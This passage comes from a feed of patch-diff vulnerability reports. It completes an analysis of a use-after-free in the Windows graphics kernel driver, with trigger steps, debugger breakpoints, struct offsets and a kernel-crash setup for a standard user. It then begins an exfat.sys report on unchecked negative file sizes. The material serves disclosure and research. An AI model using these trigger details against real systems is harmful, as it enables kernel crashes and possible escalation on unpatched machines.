&lt;li&gt;&lt;strong&gt;Prepare Resources:&lt;/strong&gt; Create video-memory allocations referenced by the graphics scheduler using &lt;code&gt;D3DKMTCreateAllocation&lt;/code&gt; / &lt;code&gt;CreateResource&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Induce Memory Pressure:&lt;/strong&gt; Exhaust &lt;code&gt;NonPagedPoolNx&lt;/code&gt; to maximize the chance of &lt;code&gt;ExAllocatePoolWithTag&lt;/code&gt; (tag &lt;code&gt;Via5&lt;/code&gt;) failing, e.g. by spraying kernel pool from multiple processes.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Invoke a Path That Submits a Device Command:&lt;/strong&gt; Operations such as &lt;code&gt;D3DKMTOfferAllocations&lt;/code&gt; or allocation destruction reach &lt;code&gt;VIDMM_GLOBAL::OfferOneAllocation&lt;/code&gt; (&lt;code&gt;0x1C0063DF0&lt;/code&gt;) / &lt;code&gt;VIDMM_GLOBAL::TerminateOneAllocation&lt;/code&gt; (&lt;code&gt;0x1C0088064&lt;/code&gt;) / &lt;code&gt;VIDMM_GLOBAL::TerminateAllocation&lt;/code&gt; (&lt;code&gt;0x1C0062A60&lt;/code&gt;), which call &lt;code&gt;VidSchSubmitDeviceCommand&lt;/code&gt; (&lt;code&gt;0x1C000ED90&lt;/code&gt;) and then &lt;code&gt;VidSchiAddPendingCommandToSyncPointList&lt;/code&gt; (&lt;code&gt;0x1C0014848&lt;/code&gt;). &lt;code&gt;VidSchSubmitDeviceCommand&lt;/code&gt; derives &lt;code&gt;arg4&lt;/code&gt; (the &lt;code&gt;+0x18&lt;/code&gt; allocation-record count) by walking the device's tracked-entry list at &lt;code&gt;arg1+0x48&lt;/code&gt;, and passes &lt;code&gt;arg5 = 0&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Hit the Error Path:&lt;/strong&gt; Cause enough qualifying entries so that &lt;code&gt;arg4 &amp;gt; 2&lt;/code&gt;, making the &lt;code&gt;+0x18&lt;/code&gt; sub-array (&lt;code&gt;arg4 &amp;lt;&amp;lt; 4&lt;/code&gt; bytes, tag &lt;code&gt;Via5&lt;/code&gt;) a heap allocation that fails under the induced pressure. (&lt;code&gt;arg5&lt;/code&gt; is 0 on these paths, so the &lt;code&gt;+0x48&lt;/code&gt; sub-array uses embedded storage and cannot fail.) The node is freed while still linked into the per-device list at &lt;code&gt;arg1+0x648&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Trigger the Dereference:&lt;/strong&gt; Submit another device command. Function entry reads &lt;code&gt;[arg1+0x650]&lt;/code&gt; (the tail pointer); if the new key matches it compares &lt;code&gt;[rbx+0x10]&lt;/code&gt; against the new key (&lt;code&gt;0x1C00148A7&lt;/code&gt;), otherwise the re-link path reads the freed tail's &lt;code&gt;Flink&lt;/code&gt; (&lt;code&gt;0x1C0014986&lt;/code&gt;) — either way dereferencing the freed node.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;Observable Effect:&lt;/strong&gt; The demonstrable result is a kernel crash: the system bug-checks with &lt;code&gt;PAGE_FAULT_IN_NONPAGED_AREA&lt;/code&gt; (0x50) or &lt;code&gt;KERNEL_MODE_HEAP_CORRUPTION&lt;/code&gt; / &lt;code&gt;POOL_CORRUPTION&lt;/code&gt; (0x19) when the freed node is dereferenced.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;6. Exploit Primitive &amp;amp; Development Notes&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Primitive Type:&lt;/strong&gt; Use-After-Free of a 0xA8-byte &lt;code&gt;NonPagedPoolNx&lt;/code&gt; chunk (tag &lt;code&gt;Viaf&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Demonstrable Impact:&lt;/strong&gt; After the error path frees the node, the per-device list tail (&lt;code&gt;arg1+0x650&lt;/code&gt;) and the previous node's &lt;code&gt;Flink&lt;/code&gt; still reference the freed chunk. The next traversal of this list dereferences freed pool memory. The reliably reachable outcome is a kernel crash (denial of service) from a standard-user process, as noted in the observable effect above.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Fields Referenced on Re-Traversal:&lt;/strong&gt; When the list is next walked, the freed chunk is interpreted as a &lt;code&gt;_VIDSCH_SYNC_POINT&lt;/code&gt; node: the key at &lt;code&gt;+0x10&lt;/code&gt;, the sub-array pointers at &lt;code&gt;+0x18&lt;/code&gt; and &lt;code&gt;+0x48&lt;/code&gt;, and the embedded sub-list heads at &lt;code&gt;+0x88&lt;/code&gt;/&lt;code&gt;+0x98&lt;/code&gt;. If the freed chunk were reclaimed with attacker data before the traversal, these fields would be read/followed as node state.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Escalation Beyond DoS (not demonstrated):&lt;/strong&gt; Turning this into memory corruption would require reclaiming the freed 0xA8-byte &lt;code&gt;NonPagedPoolNx&lt;/code&gt; chunk with controlled contents inside the window between the error-path free and the next list traversal. The trigger itself depends on forcing a &lt;code&gt;NonPagedPoolNx&lt;/code&gt; allocation failure (memory pressure), which is non-deterministic. Neither a reliable reclaim under that condition nor a resulting read/write primitive is shown here; the impact substantiated by the binaries is denial of service. The severity is rated Medium on that basis.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;7. Debugger PoC Playbook&lt;/h2&gt;
&lt;p&gt;To analyze the bug against the unpatched binary with WinDbg/KD attached:&lt;/p&gt;
&lt;h3&gt;Breakpoints&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;bp dxgmms2!VidSchiAddPendingCommandToSyncPointList        &amp;quot;Function entry (0x1c0014848). Inspect arg1, arg4(r9d), arg5&amp;quot;
bp 0x1c0014993                                            &amp;quot;List insertion (mov [rbx], rdi) BEFORE sub-array alloc&amp;quot;
bp 0x1c0021184                                            &amp;quot;Error path: call to _VIDSCH_SYNC_POINT dtor (free without unlink)&amp;quot;
bp 0x1c00148a7                                            &amp;quot;Re-entry UAF read: cmp [rbx+0x10], rsi on stale tail node&amp;quot;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;What to Inspect at Each Breakpoint&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Entry (&lt;code&gt;0x1c0014848&lt;/code&gt;):&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;rcx&lt;/code&gt;: &lt;code&gt;_VIDSCH_DEVICE&lt;/code&gt; context (list head at &lt;code&gt;+0x648&lt;/code&gt;, tail pointer at &lt;code&gt;+0x650&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;&lt;code&gt;r9d&lt;/code&gt;: &lt;code&gt;arg4&lt;/code&gt; (allocation-record count, workload-scaled); the &lt;code&gt;+0x18&lt;/code&gt; sub-array is heap-allocated (size &lt;code&gt;r9d &amp;lt;&amp;lt; 4&lt;/code&gt;) only when &lt;code&gt;r9d &amp;gt; 2&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;arg5&lt;/code&gt; (range count) is 0 on the reachable submission paths, so the &lt;code&gt;+0x48&lt;/code&gt; sub-array uses embedded storage and is not allocated.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;0x1c0014993&lt;/code&gt; (List Insertion):&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;rbx&lt;/code&gt;: the newly allocated 0xA8-byte node. &lt;code&gt;!pool rbx 2&lt;/code&gt; should show tag &lt;code&gt;Viaf&lt;/code&gt;. Once this executes the node is in the list and becomes orphaned if a later allocation fails.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;0x1c0021184&lt;/code&gt; (Error Cleanup):&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;rbx&lt;/code&gt;: the node being freed. &lt;code&gt;dt _LIST_ENTRY rbx&lt;/code&gt; shows &lt;code&gt;Flink&lt;/code&gt;/&lt;code&gt;Blink&lt;/code&gt; still pointing into the live list. After the call, &lt;code&gt;[arg1+0x650]&lt;/code&gt; is a dangling pointer.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;0x1c00148a7&lt;/code&gt; (UAF Dereference):&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;rbx&lt;/code&gt;: the pointer loaded from &lt;code&gt;[rcx+0x650]&lt;/code&gt;. &lt;code&gt;cmp [rbx+0x10], rsi&lt;/code&gt; reads freed memory.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Key Instructions/Offsets&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;0x1c0014993&lt;/code&gt;: &lt;code&gt;mov [rbx], rdi&lt;/code&gt; — links node before sub-array allocation.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x1c0021184&lt;/code&gt;: &lt;code&gt;call 0x1c0029df0&lt;/code&gt; (&lt;code&gt;_VIDSCH_SYNC_POINT&lt;/code&gt; dtor) — frees node (still linked) on allocation failure.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x1c00148a7&lt;/code&gt;: &lt;code&gt;cmp [rbx+0x10], rsi&lt;/code&gt; — UAF read on a subsequent submission.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Trigger Setup&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;Run a standard-user process.&lt;/li&gt;
&lt;li&gt;Write a C/C++ tool that repeatedly performs allocation offer/terminate operations (e.g. &lt;code&gt;D3DKMTOfferAllocations&lt;/code&gt; followed by destruction) with a large, growing set of allocations so that the device's tracked-entry count (&lt;code&gt;arg4&lt;/code&gt;) exceeds 2 and the &lt;code&gt;+0x18&lt;/code&gt; sub-array becomes a heap allocation.&lt;/li&gt;
&lt;li&gt;To reach the failure path, drive &lt;code&gt;NonPagedPoolNx&lt;/code&gt; toward exhaustion so &lt;code&gt;ExAllocatePoolWithTag&lt;/code&gt; (tag &lt;code&gt;Via5&lt;/code&gt;) for the &lt;code&gt;+0x18&lt;/code&gt; sub-array returns &lt;code&gt;NULL&lt;/code&gt;. This trigger is probabilistic, not deterministic.&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;Expected Observation&lt;/h3&gt;
&lt;p&gt;On the next list traversal after the free (e.g. the re-entry read at &lt;code&gt;0x1c00148a7&lt;/code&gt;), the kernel bug-checks with &lt;code&gt;0x50&lt;/code&gt; (&lt;code&gt;PAGE_FAULT_IN_NONPAGED_AREA&lt;/code&gt;) or &lt;code&gt;0x19&lt;/code&gt; (&lt;code&gt;POOL_CORRUPTION&lt;/code&gt;) while dereferencing the freed node. &lt;code&gt;!pool rbx&lt;/code&gt; shows the allocation as freed.&lt;/p&gt;
&lt;h3&gt;Struct/Offset Notes&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;_VIDSCH_DEVICE&lt;/code&gt; (&lt;code&gt;arg1&lt;/code&gt;):&lt;/li&gt;
&lt;li&gt;&lt;code&gt;+0x48&lt;/code&gt;: allocation list walked to fill sub-array 1.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;+0x58&lt;/code&gt;: allocation list walked to fill sub-array 2.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;+0x648&lt;/code&gt;: sync-point list head (&lt;code&gt;LIST_ENTRY&lt;/code&gt; &lt;code&gt;Flink&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;&lt;code&gt;+0x650&lt;/code&gt;: sync-point list tail (&lt;code&gt;LIST_ENTRY&lt;/code&gt; &lt;code&gt;Blink&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;Tracking Node &lt;code&gt;_VIDSCH_SYNC_POINT&lt;/code&gt; (&lt;code&gt;rbx&lt;/code&gt;):&lt;/li&gt;
&lt;li&gt;&lt;code&gt;+0x00&lt;/code&gt;: Flink&lt;/li&gt;
&lt;li&gt;&lt;code&gt;+0x08&lt;/code&gt;: Blink&lt;/li&gt;
&lt;li&gt;&lt;code&gt;+0x10&lt;/code&gt;: Key (&lt;code&gt;arg3&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;+0x18&lt;/code&gt;: sub-array 1 pointer (allocations, count at &lt;code&gt;+0x40&lt;/code&gt;; embedded storage at &lt;code&gt;+0x20&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;+0x48&lt;/code&gt;: sub-array 2 pointer (ranges, count at &lt;code&gt;+0x80&lt;/code&gt;; embedded storage at &lt;code&gt;+0x50&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;+0x88&lt;/code&gt; / &lt;code&gt;+0x98&lt;/code&gt;: embedded &lt;code&gt;LIST_ENTRY&lt;/code&gt; sub-list heads (selected by command type &lt;code&gt;arg6&lt;/code&gt;).&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;8. Changed Functions — Full Triage&lt;/h2&gt;
&lt;h3&gt;&lt;code&gt;VidSchiAddPendingCommandToSyncPointList&lt;/code&gt; (&lt;code&gt;0x1C0014848&lt;/code&gt; unpatched) — Patched: &lt;code&gt;0x1C000F918&lt;/code&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Similarity Score:&lt;/strong&gt; 0.856&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Change Type:&lt;/strong&gt; Security Relevant / Logic Reorder (feature-gated)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Key Changes:&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Feature-Gated Reordering:&lt;/strong&gt; The patched build adds calls to &lt;code&gt;Feature_1859884346__private_IsEnabledDeviceUsage&lt;/code&gt; (&lt;code&gt;0x1C0018F04&lt;/code&gt;). When the feature is enabled, the node is not linked before allocation; the sub-array is allocated first, and the node is linked into the list only after the allocation succeeds (&lt;code&gt;0x1C000FB20&lt;/code&gt;). When the feature is disabled the original insert-before-allocate ordering is retained, so the patched binary still contains the vulnerable path in that branch.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Error Path:&lt;/strong&gt; In the enabled path the failure cleanup frees an unlinked node, eliminating the dangling-pointer window. The node cleanup uses the &lt;code&gt;_VIDSCH_SYNC_POINT&lt;/code&gt; scalar deleting destructor (&lt;code&gt;0x1C0029DF0&lt;/code&gt; unpatched / &lt;code&gt;0x1C0029E60&lt;/code&gt; patched); neither version performs &lt;code&gt;RemoveEntryList&lt;/code&gt; (the fix is the reordering, not an added unlink).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Register Reallocation:&lt;/strong&gt; &lt;code&gt;r15d&lt;/code&gt;/&lt;code&gt;r14d&lt;/code&gt;/&lt;code&gt;r13d&lt;/code&gt; usage shifts to accommodate the restructured control flow (non-behavioral).&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;9. Unmatched Functions&lt;/h2&gt;
&lt;p&gt;No functions were added or removed between the unpatched and patched binaries. The single changed function is &lt;code&gt;VidSchiAddPendingCommandToSyncPointList&lt;/code&gt; (&lt;code&gt;0x1C0014848&lt;/code&gt; unpatched / &lt;code&gt;0x1C000F918&lt;/code&gt; patched).&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;10. Confidence &amp;amp; Caveats&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Mechanism Confidence:&lt;/strong&gt; High. In the unpatched build the node is unconditionally linked into the per-device list before the &lt;code&gt;+0x18&lt;/code&gt; sub-array allocation, and the failure path frees it through the &lt;code&gt;_VIDSCH_SYNC_POINT&lt;/code&gt; destructor with no &lt;code&gt;RemoveEntryList&lt;/code&gt; — a missing-unlink UAF. On re-entry the freed tail is dereferenced (&lt;code&gt;0x1C00148A7&lt;/code&gt; / &lt;code&gt;0x1C0014986&lt;/code&gt;). The patched build allocates the sub-array first and defers insertion until it succeeds.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Reachability:&lt;/strong&gt; Confirmed. &lt;code&gt;VidSchiAddPendingCommandToSyncPointList&lt;/code&gt; is called only from &lt;code&gt;VidSchSubmitDeviceCommand&lt;/code&gt; (&lt;code&gt;0x1C000ED90&lt;/code&gt;), which is called by &lt;code&gt;VIDMM_GLOBAL::OfferOneAllocation&lt;/code&gt; (&lt;code&gt;0x1C0063DF0&lt;/code&gt;), &lt;code&gt;VIDMM_GLOBAL::TerminateAllocation&lt;/code&gt; (&lt;code&gt;0x1C0062A60&lt;/code&gt;), and &lt;code&gt;VIDMM_GLOBAL::TerminateOneAllocation&lt;/code&gt; (&lt;code&gt;0x1C0088064&lt;/code&gt;) — all direct calls. These sit under the &lt;code&gt;VidMm&lt;/code&gt; module entry points for D3DKMT offer / destroy / terminate, so the path is reachable from a standard-user process, not init-only. &lt;code&gt;arg4&lt;/code&gt; is workload-scaled (a count of qualifying entries on the device's &lt;code&gt;arg1+0x48&lt;/code&gt; list); &lt;code&gt;arg5&lt;/code&gt; is a constant 0, so only the &lt;code&gt;+0x18&lt;/code&gt; sub-array is heap-allocated.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Feature Gating:&lt;/strong&gt; The corrective ordering is controlled by the WIL feature-staging gate &lt;code&gt;Feature_1859884346&lt;/code&gt; (&lt;code&gt;__private_IsEnabledDeviceUsage&lt;/code&gt;, backed by the static &lt;code&gt;Feature_1859884346__private_featureState&lt;/code&gt; and a descriptor-driven fallback). The safe ordering is in effect only when the feature is enabled; when disabled the routine keeps the insert-before-allocate ordering, so the patched binary retains the vulnerable path behind the gate (staged rollout).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Severity Rationale:&lt;/strong&gt; Medium. The demonstrable impact is a kernel crash (denial of service) reached by forcing a &lt;code&gt;NonPagedPoolNx&lt;/code&gt; allocation failure (memory pressure), a non-deterministic trigger. Escalation to memory corruption would additionally require reclaiming the freed 0xA8-byte chunk within the pre-traversal window and is not demonstrated here. CWE-416.&lt;/li&gt;
&lt;/ul&gt;</content><category term="Corpus"/></entry><entry><title>exfat.sys — Improper input validation of negative file size/offset in IRP_MJ_SET_INFORMATION handlers (CWE-20) fixed</title><link href="https://byteray-ai.github.io/drift-corpus/item/exfat_dd7b981e-exfat-report-20260628-223213.html" rel="alternate"/><published>2026-06-28T00:00:00-07:00</published><updated>2026-06-28T00:00:00-07:00</updated><author><name>Argus</name></author><id>tag:byteray-ai.github.io,2026-06-28:/drift-corpus/item/exfat_dd7b981e-exfat-report-20260628-223213.html</id><summary type="html">&lt;p&gt;KB5094127&lt;/p&gt;</summary><content type="html">&lt;hr&gt;
&lt;h2&gt;1. Overview&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Item&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Unpatched binary&lt;/td&gt;
&lt;td&gt;&lt;code&gt;exfat_unpatched.sys&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Patched binary&lt;/td&gt;
&lt;td&gt;&lt;code&gt;exfat_patched.sys&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Overall similarity&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;0.9909&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Matched functions&lt;/td&gt;
&lt;td&gt;827&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Changed&lt;/td&gt;
&lt;td&gt;8&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Identical&lt;/td&gt;
&lt;td&gt;819&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Unmatched (either direction)&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;Verdict:&lt;/strong&gt; The patch makes the rejection of &lt;strong&gt;negative (bit-63-set) 64-bit sizes/offsets&lt;/strong&gt; unconditional in three &lt;code&gt;IRP_MJ_SET_INFORMATION&lt;/code&gt; handlers. In the unpatched build that rejection is gated behind a WIL velocity/feature-staging flag (&lt;code&gt;Feature_1337404728__private_IsEnabledDeviceUsage&lt;/code&gt; @ &lt;code&gt;0x1C000A6A0&lt;/code&gt;, reading the global feature dword &lt;code&gt;Feature_1337404728__private_featureState&lt;/code&gt;). The patched build removes the flag dependency entirely (the whole &lt;code&gt;Feature_1337404728&lt;/code&gt; feature is gone from the patched binary), so a value such as &lt;code&gt;EndOfFile = 0xFFFFFFFFFFFFFFFF&lt;/code&gt; that the unpatched handler accepts when the feature is not enabled is now rejected with &lt;code&gt;STATUS_INVALID_PARAMETER&lt;/code&gt;. The accepted value is written into the in-memory FCB FileSize/AllocationSize/ValidDataLength fields and passed to &lt;code&gt;CcSetFileSizes&lt;/code&gt; (or, for the position class, into &lt;code&gt;FileObject-&amp;gt;CurrentByteOffset&lt;/code&gt;). This is an attacker-reachable input-validation flaw: any user with write access to a file on an exFAT volume can inject an unchecked negative/oversized file size or I/O offset into kernel file-cache metadata.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;2. Vulnerability Summary&lt;/h2&gt;
&lt;h3&gt;Finding 1 — High-Severity Missing Validation in &lt;code&gt;FileEndOfFileInformation&lt;/code&gt; / &lt;code&gt;FileAllocationInformation&lt;/code&gt; / &lt;code&gt;FilePositionInformation&lt;/code&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Severity:&lt;/strong&gt; Medium. Demonstrable and reachable: an unauthenticated-value (attacker-controlled negative 64-bit size/offset) bypasses validation and is written into kernel file-cache metadata via a standard syscall. The concrete downstream memory-corruption / privilege-escalation outcome is plausible but is &lt;strong&gt;not&lt;/strong&gt; demonstrated by this diff and is not asserted here.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Vulnerability class:&lt;/strong&gt; CWE-20 (Improper Input Validation) — the sign/range check on a 64-bit file size/offset is present but is conditioned on a velocity feature-staging gate in the unpatched build, so it does not run when the feature is not enabled.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Affected functions:&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;exfat!FppSetEndOfFileInfo (sub_1C00412C4)&lt;/code&gt; — &lt;code&gt;FileEndOfFileInformation&lt;/code&gt; handler (case 0x14)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;exfat!FppSetAllocationInfo (sub_1C0040F74)&lt;/code&gt; — &lt;code&gt;FileAllocationInformation&lt;/code&gt; handler (case 0x13)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;exfat!FppCommonSetInformation (sub_1C003E3A4)&lt;/code&gt; — &lt;code&gt;IRP_MJ_SET_INFORMATION&lt;/code&gt; dispatcher; inline &lt;code&gt;FilePositionInformation&lt;/code&gt; handler (case 0x0e)&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Root Cause&lt;/h3&gt;
&lt;p&gt;In the unpatched driver, the validation that should reject any 64-bit size/offset value with &lt;strong&gt;bit 63 set&lt;/strong&gt; (i.e. a negative value when interpreted as signed) is structured as:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;feature_flag_on&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;STATUS_INVALID_PARAMETER&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;…or equivalently (for the position case):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;feature_flag_on&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;||&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;accept&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The &lt;code&gt;feature_flag_on&lt;/code&gt; test is implemented by &lt;code&gt;Feature_1337404728__private_IsEnabledDeviceUsage&lt;/code&gt; @ &lt;code&gt;0x1C000A6A0&lt;/code&gt;, which reads the global feature dword &lt;code&gt;Feature_1337404728__private_featureState&lt;/code&gt;, tests bit 4, and otherwise queries velocity feature index 3 via &lt;code&gt;Feature_1337404728__private_IsEnabledFallback&lt;/code&gt; @ &lt;code&gt;0x1C000A684&lt;/code&gt;. This is a WIL velocity/feature-staging gate. That the patched build removes the gate and the entire &lt;code&gt;Feature_1337404728&lt;/code&gt; feature and makes the check permanent indicates the gated check was not reliably active in the field (i.e. the feature resolved to &lt;code&gt;FALSE&lt;/code&gt; / not-enabled), which is the condition under which the flaw is live.&lt;/p&gt;
&lt;p&gt;Due to C-language short-circuit evaluation:
- In the EOF/Allocation handlers, &lt;code&gt;FALSE &amp;amp;&amp;amp; value&amp;lt;0&lt;/code&gt; never evaluates &lt;code&gt;value&amp;lt;0&lt;/code&gt;.
- In the Position handler, &lt;code&gt;!FALSE || value&amp;gt;=0&lt;/code&gt; is true regardless of the size.&lt;/p&gt;
&lt;p&gt;A value such as &lt;code&gt;0xFFFFFFFFFFFFFFFF&lt;/code&gt; therefore passes validation. The upstream "wraps below newSize" overflow guard is also bypassed for this specific value, because the expression &lt;code&gt;validDataLen + 1 + (-1)&lt;/code&gt; equals &lt;code&gt;validDataLen&lt;/code&gt;, which is &lt;strong&gt;not&lt;/strong&gt; less than &lt;code&gt;-1&lt;/code&gt; when compared signed — so the wrap-below-new-size check does not fire.&lt;/p&gt;
&lt;p&gt;The negative value is then written to multiple FCB fields (&lt;code&gt;+0x20&lt;/code&gt; FileSize, &lt;code&gt;+0x28&lt;/code&gt; AllocationSize, &lt;code&gt;+0x110&lt;/code&gt; ValidDataLength) and passed to &lt;code&gt;CcSetFileSizes&lt;/code&gt;. This places an unchecked negative (huge-when-unsigned) file size into the cache manager's file-size state. Any downstream corruption depends on how those size fields are later consumed; that chain is not traced in this diff.&lt;/p&gt;
&lt;h3&gt;Patch&lt;/h3&gt;
&lt;p&gt;The fix simply &lt;strong&gt;removes the &lt;code&gt;Feature_1337404728__private_IsEnabledDeviceUsage (sub_1C000A6A0)()&lt;/code&gt; call entirely&lt;/strong&gt;, so the negative check becomes unconditional: &lt;code&gt;if (value &amp;lt; 0) return STATUS_INVALID_PARAMETER;&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;Attacker Entry Point &amp;amp; Data Flow&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;User-mode process opens a file on an exFAT volume with &lt;code&gt;GENERIC_WRITE&lt;/code&gt; / &lt;code&gt;FILE_WRITE_DATA&lt;/code&gt; / &lt;code&gt;FILE_WRITE_ATTRIBUTES&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;User calls &lt;code&gt;NtSetInformationFile&lt;/code&gt; (or &lt;code&gt;ZwSetInformationFile&lt;/code&gt;) with:&lt;/li&gt;
&lt;li&gt;&lt;code&gt;FileInformationClass = FileEndOfFileInformation (0x14)&lt;/code&gt; (or &lt;code&gt;0x13&lt;/code&gt; / &lt;code&gt;0x0e&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;FILE_END_OF_FILE_INFORMATION.EndOfFile.QuadPart&lt;/code&gt; with &lt;strong&gt;bit 63 set&lt;/strong&gt; (e.g. &lt;code&gt;0xFFFFFFFFFFFFFFFF&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;I/O Manager builds an &lt;code&gt;IRP_MJ_SET_INFORMATION&lt;/code&gt; IRP.&lt;/li&gt;
